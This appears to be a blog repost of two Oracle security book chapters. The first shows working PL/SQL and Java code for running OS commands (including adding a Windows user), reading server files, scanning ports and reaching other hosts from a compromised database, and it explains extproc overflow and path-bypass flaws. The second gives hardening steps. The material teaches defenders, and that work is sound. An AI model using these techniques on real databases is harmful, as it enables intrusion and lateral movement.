Providing you have the appropriate level of authorization, running operating system commands is a trivial task and can be done in a number of ways. Obtaining the appropriate level of authorization is another matter and is discussed in other chapters. For example, elevating privileges through PL/SQL injection is discussed.

Running OS Commands with PL/SQL

Before showing how it’s possible to run OS commands from PL/SQL let’s look at the technology behind how it works. PL/SQL can be extended by calling external procedures. External procedures are essentially functions that are exported by shared objects or dynamic link libraries. This is useful when we need to do something quite complex that can’t be coded easily using PL/SQL. For example, assume we need to check a registry value on a Windows system from an Oracle application. This can’t be done by using straight PL/SQL and we need to turn to external procedures. We write a C function to check the registry and then export it from a DLL. Let’s call the function CheckReg(). We then tell the Oracle RDBMS about the DLL by creating a LIBRARY:

CREATE OR REPLACE LIBRARY CHK_REG AS 'chkregistry.dll'

Once the library is in place we can then create a procedure that calls the CheckReg() function:

CREATE OR REPLACE PROCEDURE C_REG IS
IS EXTERNAL
NAME "CheckReg"
LIBRARY CHK_REG
LANGUAGE C;
END C_REG;

Here we’ve told PL/SQL that the call is external, the function to call is CheckReg(), and this function is exported by the CHK_REG library (chkregistry.dll).

Once created, we can execute the C_REG procedure, which in turns calls our CheckReg C function. The chain of events that happens on calling the C_REG procedure from Oracle is interesting (and open to abuse). The main Oracle process will connect to the TNS Listener and request the external procedure. The TNS Listener launches another process, namely extproc, and instructs the Oracle process to connect to the extproc process. The Oracle process sends a message to the extproc process to tell it to load chkregistry.dll and execute the CheckReg() function. All quite simple.

By using external procedures we can execute operating system commands by creating an Oracle library for msvcrt.dll or libc and call the system() function.

CREATE OR REPLACE LIBRARY
exec_shell AS 'C:\winnt\system32\msvcrt.dll';
/

This creates the library. Note that this example uses a full path. We’ll come back to this. Next we create the procedure:

show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/

With the procedure created we can execute it and run our OS command:

exec oracmd.exec ('net user ngssoftware password!! /add');

Now one of the more interesting aspects of all of this is the history of the security problems related to external procedures. It all starts with the fact that the communication between the Oracle process, the TNS Listener, and the extproc process is unauthenticated. Up to and including Oracle 9i an attacker could connect to the listener and pretend to be the Oracle process and execute functions remotely without requiring a user ID or password, allowing the attacker to completely compromise the database server.

Oracle created a fix for this. The fix includes a check to see if the external procedure caller is the local machine. If the caller is local, it is assumed that the caller is the Oracle process. This is of course an incorrect assumption and an attacker that can gain local access to the machine, either at the console or via telnet or SSH, can still run commands as the Oracle user without a valid Oracle user ID or password. This works only if the attacker is local to the Oracle server, however. Remote attacks fail; but there’s a twist. The attempt is logged and the logging code makes an unsafe call to the sprintf() C function and is vulnerable to a buffer overflow vulnerability. If an overly long library name is passed to extproc, a fixed-size buffer on the stack is overflowed allowing a remote attacker without a user ID and password to still gain control.

So Oracle fixed this; its patch put a length check on the path to the library to ensure that the buffer couldn’t be overflowed. This is a good step to take but Oracle made a critical error: extproc will expand any environment variables found in the path to the library supplied by the caller. This is done after the length check.

As such, if the caller requests that extproc loads

$PATH$PATH$PATH$PATHfoo.dll

the length check comes back with 27 (the number of bytes in the preceding string). Twenty-seven bytes easily fits into the buffer. But then the expansion occurs and our string suddenly becomes much longer than 27 bytes. However long the $PATH environment variable is multiplied by four plus seven for “foo.dll” part. This doesn’t fit into the buffer. The buffer overflow is still there and so a remote attacker without a user ID and password can still gain control. All versions up to and including 10g are vulnerable.

Adding to this series of errors is a problem in the way paths are handled. When the first batch of problems in external procedures was fixed, one of the fixes included a check to ensure the library was in the $ORACLE_HOME\bin directory. This can be easily defeated with a parent path attack when the library is created:

$ORACLE_HOME\bin\..\..\..\..\..\..\..\windows\system32\msvcrt.dll

External procedures, while offering extreme flexibility, are a severe security risk. One wonders whether they’ll ever be able to be considered as “safe.” External procedures, where possible, should be disabled. To do this, see the chapter on securing Oracle.

Running OS Commands with DBMS_SCHEDULER

Oracle 10g comes with a new package: the DBMS_SCHEDULER. This can be used to run operating system commands. The CREATE_JOB procedure creates new jobs to be run by the database server. These jobs can have a job_type of plsql_block, which indicates the job is a block of anonymous PL/SQL; stored_procedure, which indicates the job is an external procedure: or, importantly, executable, which indicates that the job is to be executed outside of the RDBMS and this allows for running OS commands.

BEGIN
  dbms_scheduler.create_job(job_name        => 'cmd',
                            job_type        => 'executable',
                            job_action      => '/tmp/oracle.sh',
                            enabled         => TRUE,
                            auto_drop       => TRUE);
END;
/

exec dbms_scheduler.run_job('cmd');

Running OS Commands with Java

Java is built directly into Oracle and Java classes can be called from PL/SQL. If a user has the relevant permissions, granted via DBMS_JAVA, he can run operating system commands with the following:

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
 public static void execCommand (String command) throws IOException
 {
     Runtime.getRuntime().exec(command);
 }
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'JAVACMD.execCommand (java.lang.String)';
/

Once the class and procedure have been created an OS command can be run:

exec javacmdproc('cmd.exe /c dir > c:\orajava.txt'); 

On Linux the command would be

exec javacmdproc('/bin/sh –c ls > /tmp/list.txt');

Accessing the File System

Once a system has been compromised one of the first things an attacker might want to do is examine the file system for useful information. Like most RDBMS, Oracle provides the tools to do this and as such access should be restricted to the relevant packages. PL/SQL can be used to access the file system. UTL_FILE is the package used to do this and it can be used to read and write to files. While PUBLIC can execute UTL_FILE, the function that actually opens the file is FOPEN. This takes as one of its parameters the name of a directory—not a directory in the sense of the file system but an Oracle directory that has been created using the CREATE DIRECTORY command:

CREATE OR REPLACE DIRECTORY THEDIR AS 'C:\';

By default, there are no directories that PUBLIC can access and PUBLIC cannot execute CREATE DIRECTORY either. This limits the risk of a low-privileged user using UTL_FILE to gain access to the file system. Of course, if a user can create a directory, then he can access the file system. The file system access is done with the privileges of the user running the main Oracle process.

set serveroutput on
CREATE OR REPLACE DIRECTORY THEDIR AS 'C:\';

DECLARE
BUFFER VARCHAR2(260);
FD UTL_FILE.FILE_TYPE;
begin
FD := UTL_FILE.FOPEN('THEDIR','boot.ini','r');
DBMS_OUTPUT.ENABLE(1000000);
LOOP
           UTL_FILE.GET_LINE(FD,BUFFER,254);
           DBMS_OUTPUT.PUT_LINE(BUFFER);
END LOOP;
EXCEPTION WHEN NO_DATA_FOUND THEN
     DBMS_OUTPUT.PUT_LINE('End of file.');
     IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
               UTL_FILE.FCLOSE(FD);
     END IF;

WHEN OTHERS THEN
          IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
               UTL_FILE.FCLOSE(FD);
          END IF;

END;
/

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(3)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(3)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/fastdetect
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Professional"
/fastdetect
End of file.

PL/SQL procedure successfully completed.

Java and the File System

Java can also be used to access the file system:

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADFILE
{
     public static void readfile(String filename) throws IOException
     {
          FileReader f = new FileReader(filename);
          BufferedReader fr = new BufferedReader(f);
              String text = fr.readLine();;
          while(text != null)
          {
               System.out.println(text);
               text = fr.readLine();
          }               
          fr.close();

        }
}
/

CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/

exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:\boot.ini')

Accessing the Network

The Oracle RDBMS is a perfect platform for launching attacks against other systems on the network. This may be as simple as using database links to gain access to other Oracle databases or using some of the default PL/SQL packages to gain access to web or mail servers. If you have the CREATE PROCEDURE privilege, and most accounts do have this system privilege, you can even code your own PL/SQL network library allowing you to access any kind of server whether the protocol used is text-based or binary in nature.

Database Links

One Oracle database can communicate with another by using database links. Database links can be created as PUBLIC, which means that anyone can use the link, or nonpublic. Nonpublic links are for the use of the owner. When a database link is created there are two options for authentication against the remote system. First, a user ID and password can be embedded. These credentials are stored in the SYS.LINK$ table so anyone that can access this table can gather credentials for the remote system. The other option is to create the link with the CURRENT_USER keyword, which specifies that when the link is accessed the current user’s credentials are used. This is a safer option to use when creating links. The syntax for creating a database link is as follows:

CREATE DATABASE LINK linkname CONNECT TO user IDENTIFIED BY passwd USING 'tnsentry'

or

CREATE DATABASE LINK linkname CONNECT TO CURRENT_USER USING 'tnsentry'

Once a link is created it is possible to run SQL queries against the remote system. For example, assuming there’s a table called foobar on the remote system, it is possible to select data from it with

SELECT * FROM FOOBAR@LINKNAME

Once an Oracle server has been compromised an attacker will be able to access other database servers that are linked to from the compromised system in this way. Incidentally, there’s a buffer overflow in database links—though a patch is available. By specifying an overly long tnsentry when creating the link and then selecting from the link, a stack-based buffer is overflowed allowing the attacker to gain control. See http://www.ngssoftware.com/advisories/ora-dblink.txt for more details.

PL/SQL and the Network

The Oracle RDBMS has a plethora of PL/SQL packages that can communicate with the network. These packages are installed by default and the default permissions for all of them are set to allow PUBLIC the execute permission. This means that even the lowest-privileged account can use these packages. To help protect the database server and other systems on the network, the DBA should revoke the execute permission from PUBLIC and assign it to only those accounts that require access as a strict business requirement. More often than not it is application accounts that will need access. Each of the relevant packages are discussed in this section detailing what can be done with them.

UTL_TCP

UTL_TCP is the most basic of PL/SQL packages that can access the network, and because of this it is the most flexible. UTL_TCP can make TCP connections to other servers on the network and send and receive data. Further, there are no restrictions on the format of this data, meaning it can be binary or text-based. While this provides great flexibility to allow the RDBMS to communicate with any kind of server on the network that it needs to communicate with, be it a web server or an RPC server, it can be of great use to an attacker.

The key functions in this package are

OPEN_CONNECTION: Opens a socket to the remote host

READ_RAW: Reads binary data from the socket

WRITE_RAW: Writes binary data to the socket

READ_TEXT: Reads ASCII text from the socket

WRITE_TEXT: Writes ASCII text to the socket

Here’s the code for a TCP port scanner, which shows a simple example of using UTL_TCP:

CREATE OR REPLACE PACKAGE TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2, 
START_PORT NUMBER, 
END_PORT NUMBER, 
VERBOSE NUMBER DEFAULT 0);
PROCEDURE CHECK_PORT(HOST VARCHAR2,
TCP_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
END TCP_SCAN;
/
SHOW ERRORS

CREATE OR REPLACE PACKAGE BODY TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2,
START_PORT NUMBER,
END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
I NUMBER := START_PORT;
BEGIN
        FOR I IN START_PORT..END_PORT LOOP
                CHECK_PORT(HOST,I,VERBOSE);
        END LOOP;

EXCEPTION WHEN OTHERS THEN
        DBMS_OUTPUT.PUT_LINE('An error occured.');
END SCAN;

PROCEDURE CHECK_PORT(HOST VARCHAR2,
TCP_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
CN SYS.UTL_TCP.CONNECTION;
NETWORK_ERROR EXCEPTION;
PRAGMA EXCEPTION_INIT(NETWORK_ERROR,-29260);
BEGIN
        DBMS_OUTPUT.ENABLE(1000000);
        CN := UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT);
        DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is open.');

EXCEPTION WHEN NETWORK_ERROR THEN
        IF VERBOSE !=0 THEN
                DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is not open.');
        END IF;
        WHEN OTHERS THEN
                DBMS_OUTPUT.PUT_LINE('There was an error.');

END CHECK_PORT;

END TCP_SCAN;
/
SHOW ERRORS

UTL_HTTP

UTL_HTTP essentially wraps around UTL_TCP and provides a number of procedures to communicate with web servers. UTL_HTTP supports proxy servers, cookies, redirects, authentication, and so on. An attacker can use this package to launch attacks against web servers.

The following code is an example using UTL_HTTP:

DECLARE
     txt VARCHAR2(2000);
     request   utl_http.req;
     response  utl_http.resp;
BEGIN
     request := utl_http.begin_request('http://www.ngssoftware.com/');
     utl_http.set_header(request, 'User-Agent', 'Mozilla/4.0');
     response := utl_http.get_response(request);
     LOOP
          utl_http.read_line(response, txt, TRUE);
          dbms_output.put_line(txt);
     END LOOP;
     utl_http.end_response(response);
     EXCEPTION
     WHEN utl_http.end_of_body THEN
          utl_http.end_response(response);
END;
/

UTL_SMTP

Like UTL_HTTP, UTL_SMTP relies on UTL_TCP and is a wrapper for sending e-mails. To use it, an understanding of the SMTP protocol would be useful. (See RFC 895.)

DECLARE
     c utl_smtp.connection;
BEGIN
     c := utl_smtp.open_connection('smtp.example.com');
     utl_smtp.helo(c, 'ngssoftware.com');
     utl_smtp.mail(c, 'david@ngssoftware.com');
     utl_smtp.rcpt(c, 'santa@north.pole.org');
     utl_smtp.open_data(c);
     utl_smtp.write_data(c,'Subject: NGSSQuirreL');
     utl_smtp.write_data(c, utl_tcp.CRLF ||
          'I want it for x-mas!');
     utl_smtp.close_data(c);
     utl_smtp.quit(c);
END;
/

Summary

Because of the programmable nature of the Oracle RDBMS, you can see that once the system has been compromised it becomes a powerful tool in the hands of an attacker. With a little bit of knowledge of programming Java and PL/SQL, the attacker’s activities are not just limited to the RDBMS itself—he can program his way out to the OS and onto the rest of the network.

Chapter 5: Securing Oracle

Securing Oracle is a much more difficult proposition than securing other database servers. The reason for this is quite simple — the Oracle RDBMS is huge. What follows are some useful low-cost steps that will help to secure your Oracle environments.

Oracle Security Recommendations

This section details those actions that can be taken to secure Oracle.

Oracle TNS Listener

The TNS Listener is one of the most important components of Oracle to secure because it’s probably the first component an attacker will see. This section lists a few simple steps that will improve the security of your TNS Listener.

Set a TNS Listener Password

By default the TNS Listener has no password set and can be administered remotely by anybody who can connect (as of Oracle 10g this has changed). Setting a Listener password will prevent unauthorized administration of the Listener. To set a password, edit the listener.ora file and add the following line:

PASSWORDS_listenername = t1n5eLt0wn

Stop and restart the Listener. Because this password is in clear text, and clear text passwords are not secure, it should be encrypted. To do this is, connect to the Listener using the Listener Control Utility — lsnrctl:

LSNRCTL> set current_listener 10.1.1.100
Current Listener is listener
      LSNRCTL> change_password
      Old password:
      New password:
      Reenter new password:
      Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
      Password changed for listener
      The command completed successfully
      LSNRCTL> set password
      Password:
      The command completed successfully
      LSNRCTL> save_config
      Connecting to (DESCRIPTION= (ADDRESS= (PROTOCOL=IPC) (KEY=EXTPROC0)))
      Saved LISTENER configuration parameters.
      Listener Parameter File C:\oracle\ora92\network\admin\listener.ora
      Old Parameter File   C:\oracle\ora92\network\admin\listener.bak
      The command completed successfully
      LSNRCTL>

This will set the password in the listener.ora file to an encrypted password.

Turn on Admin Restrictions

By turning on Admin Restrictions unauthorized administration of the Listener is prevented. With Admin Restrictions turned on certain commands cannot be called remotely, even if the Listener password is supplied. To turn on Admin Restrictions, add the following line to the listener.ora file:

      ADMIN_RESTRICTIONS_listenername = ON

Stop and restart the Listener.

Turn on TCP Valid Node Checking

TCP valid node checking can be used to allow certain hosts to connect to the database server and prevent others. To turn on TCP valid node checking, edit the protocol.ora file (sqlnet.ora on older versions) as follows:

      TCP.VALIDNODE_CHECKING = YES
      TCP.EXCLUDED_NODES = {List of IP addresses separated by a comma}

or

      TCP.INVITED_NODES = {List of IP addresses separated by a comma}

The latter, TCP.INVITED_NODES, is more secure but is more difficult to manage where there are many clients that need to connect to the database server.

Turn off XML Database

The XML Database (XDB) provides two services. One is an FTP service listening on TCP port 2100 and the other is an HTTP service listening on TCP port 8080. If XDB is not used it should be turned off. To do this, edit the initdbsid.ora or spfiledbsid.ora file and remove the line that reads similar to

*.dispatchers='(PROTOCOL=TCP) (SERVICE=dbsidXDB)'

Turn off External Procedures

External procedures allow PL/SQL procedures to call functions in operating system shared objects (libraries/DLLs). This poses a security threat and should be turned off if not required. Developers of custom PL/SQL code should try to avoid using external procedures if at all possible.

Encrypt Network Traffic

Available only in Oracle Enterprise Edition, Oracle Advanced Security should be used to encrypt traffic between clients and the database server. This can be enabled by using the Oracle Net Manager tool.

Oracle Database Server

This section lists a series of simple steps that can greatly improve the security of the core Oracle DBMS.

Accounts

Perhaps the easiest way to compromise an Oracle server is to guess a username and password. Oracle provides excellent user management facilities and these facilities can be used to dramatically improve security. This section shows you how.

Lock and Expire Unused Accounts

All unused accounts should be locked and expired. You can do this using the Database Configuration Assistant tool.

New Account Creation

Define a user account naming standard, such as first initial/lastname; for example, jsmith. When creating new accounts this naming standard should be used. All new user account creation should be authorized by a designated Security Officer.

Passwords

Your Oracle installation is only as strong as the weakest password. This section can help you to eliminate weak passwords from your server.

Change Default Passwords

The passwords of all default accounts should be changed. Special attention should be paid to the SYS, SYSTEM, CTXSYS, MDSYS, DBSNMP, and OUTLN accounts. New passwords can be set using SQL*Plus using the “ALTER USER username IDENTIFIED BY newpassword” statement.

Define and Enforce a Good Password Policy

Passwords should be easy to remember but difficult to guess. Password length should be at least 10 characters or more and be alphanumeric. This should be enforced using a password verification function. Once the function is created for each profile, run the following statement from within SQL*Plus:

            ALTER PROFILE profile_name LIMIT
            PASSWORD_VERIFICATION_FUCTION new_value

Passwords for user accounts should be set to expire after a set period of time, for example, 30 days. To enable password expiration run the following statement for each profile:

            ALTER PROFILE profile_name LIMIT
            PASSWORD_LIFE_TIME new_value

Passwords should not be reused for a set period of time. To set this run the following statement for each profile from SQL*Plus:

            ALTER PROFILE profile_name LIMIT
            PASSWORD_REUSE_TIME new_value

Further, it is possible to set how many new passwords must be set before an old password can be reused. This should be employed and can be set by running the following statement from SQL*Plus for each profile:

            ALTER PROFILE profile_name LIMIT 
            PASSWORD_REUSE_MAX new_value

Lastly, users should not be given any grace time to select a new password when their password is up for renewal. To enable this run the following from SQL*Plus for each profile:

            ALTER PROFILE profile_name LIMIT
            PASSWORD_GRACE_TIME new_value

Roles

Correct use of roles can improve the security of your system and help to keep it secure in the future. This section describes how.

New Role Creation

New roles should be given a meaningful name and be created by a designated Security Officer. Permissions should be granted to new roles using the principle of least privilege; a role should have the necessary privileges to fulfill its function and no more. New roles can be created using SQL*Plus using the CREATE ROLE statement. When a new highly privileged role is created it should be assigned a password unless the role is to be used for application accounts.

Roles for User Accounts

To help with management of users, all user accounts should be assigned to a specific role with minimal privileges. Other roles may be assigned, too, but on a least privilege principle.

Roles for Application Accounts

Each application account should be assigned to a specific role with minimal privileges. Other roles may be added, too, but try to ensure that the least privilege principle is adhered to.

Limit the Default CONNECT Role

The default CONNECT role can create procedures and database links. These privileges should be dropped, and a new role for each of these be created and assigned these privileges instead. Any user that, as a strict business requirement, needs to be able to create procedures or database links should be assigned membership of these roles.

Set a Password on Highly Privileged Roles

For roles that are highly privileged, such as the DBA role, a password should be set. This can be performed using SQL*Plus by issuing the ALTER ROLE statement.

Authentication

Remote Authentication should be turned off. This is because the responsibility of user authentication is performed by the user’s PC and not the database. To turn off remote authentication, edit the initdbsid.ora or spfiledbsid.ora file and add the following line:

            REMOTE_OS_AUTHENT = FALSE

Stop and restart the database.

Enabled Account Lockout for User Accounts

By default a user has unlimited attempts to log in. This allows attackers to launch a brute-force attack. As such account lockout should be enabled. To do this, take the following action. From SQL*Plus and for each profile, run the following statements:

        ALTER PROFILE profile_name LIMIT FAILED_LOGIN_ATTEMPTS new_value

You may want to consider assigning application accounts to a new profile and not enabling account lockout on this profile. If the application account is locked out, the application will fail and this is not desirable. In order to mitigate the risk of brute-force attacks against application accounts an extremely strong password should be assigned.

Use the Principle of Least Privilege

Use the principle of least privilege when creating new accounts or roles and assigning privileges. In other words, assign only those object and system privileges that are required so a business function can be performed. For example, if a user SCOTT needs to be able to SELECT from a table FOO, then only grant the SELECT permission. Do not grant SCOTT the INSERT, DELETE, or UPDATE permissions.

Enable SQL92 Security Parameter

The SQL92 Security parameter determines whether users may INSERT or UPDATE a table for which they do not have the SELECT permission. Attackers can use this to determine extant values by using conditional UPDATEs or INSERTs. As such this feature should be turned on.

Revoke any Unnecessary Permissions

By default Oracle object and system privileges are too lax. A full review of permissions should be performed and any that are superfluous to requirements should be revoked. Special attention needs to be paid to the PUBLIC role and the EXECUTE permission on PL/SQL packages, procedures, and functions.

DBA Role

Limit the number of accounts that are assigned membership of the DBA role.

Auditing

Turn on auditing. Auditing of CREATE SESSION should be enabled at a minimum.

Enable Data Dictionary Protection

Users or roles that have been granted the SELECT ANY system privilege will be able to select from the security sensitive tables such as SYS.USER$. Enabling Data Dictionary Protection will prevent this. To enable Data Dictionary Protection, take the following actions. Edit the initdbsid.ora or spfiledbsid.ora file and add the following line:

      O7_DICTIONARY_ACCESSIBLE = FALSE

Stop and restart the database. Note that if a particular role is required to be able to select from the data dictionary, then it may be assigned the SELECT ANY DICTIONARY system privilege.

Enable Database Link Login Encryption

The SYS.LINK$ table contains credentials for remote database servers. Anybody who can select from this table will be able to view these credentials. As such it is better to have the credentials encrypted.

PL/SQL Packages, Procedures, and Functions

PL/SQL packages, procedures, and functions execute with the privileges of the definer and not the invoker unless the AUTHID CURRENT_USER keyword has been used when the PL/SQL code was written. If the PL/SQL code is vulnerable to SQL Injection, attackers can exploit this to elevate their privileges.

Existing Packages, Procedures, and Functions

A careful review should be made of the permissions set on existing PL/SQL packages, procedures, or functions with special attention being paid to the PUBLIC role. Unless there is a clear business case for PUBLIC, or any role/user, having the EXECUTE permission on a particular package, procedure, or function, it should be revoked.

Custom PL/SQL Packages, Procedures, and Functions

It is important to ensure that the development team responsible for creating custom PL/SQL programs is given a “Secure PL/SQL Coding” standard, which should be read, understood, and followed. Any code should be reviewed for security flaws such as SQL Injection vulnerabilities during the testing stage before being installed on a production system. Where possible, developers should avoid using external procedures because this opens up a security risk.

Triggers

Triggers can be used as a good generator of audit information (see the Auditing section). However, triggers are written in PL/SQL and may be vulnerable to SQL Injection. The source code of all triggers should be reviewed to ascertain if they are vulnerable or not.

Patching

Security patches from Oracle should be tested and installed as soon as possible. A Security Officer should be responsible for checking Metalink for news of new patches. Further, if that Security Officer subscribes to security mailing lists such as bugtraq, vulnwatch, and ntbugtraq, they will catch any new security issues that are not reported to Oracle but are announced to the public without a patch. In such cases, the Security Officer should work with the DBA to find a way to mitigate the risk of the new vulnerability in the absence of an Oracle-supplied patch.

Security Audits

Security audits should be regularly performed by a designated Security Officer to ensure that the security posture of the Oracle environment has not been subverted and that it does not contain any weaknesses. NGSSQuirreL for Oracle can be used for this purpose.

New Database Installs

A little security planning goes a long way toward preventing security incidents in the future. When installing a new database, install only those components that are required. Before installing the database a checklist should be made of what is needed and what is not, and the database server should be installed using this checklist.

New Database Creation

Note that if a new database is created using the CREATE DATABASE command, a user account called OUTLN is created also. This account is assigned a default password of OUTLN and is also given the EXECUTE ANY PROCEDURE system privilege. Consequently, any attacker that compromises this account can easily gain DBA privileges. It is imperative that the password for the OUTLN account be changed immediately.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: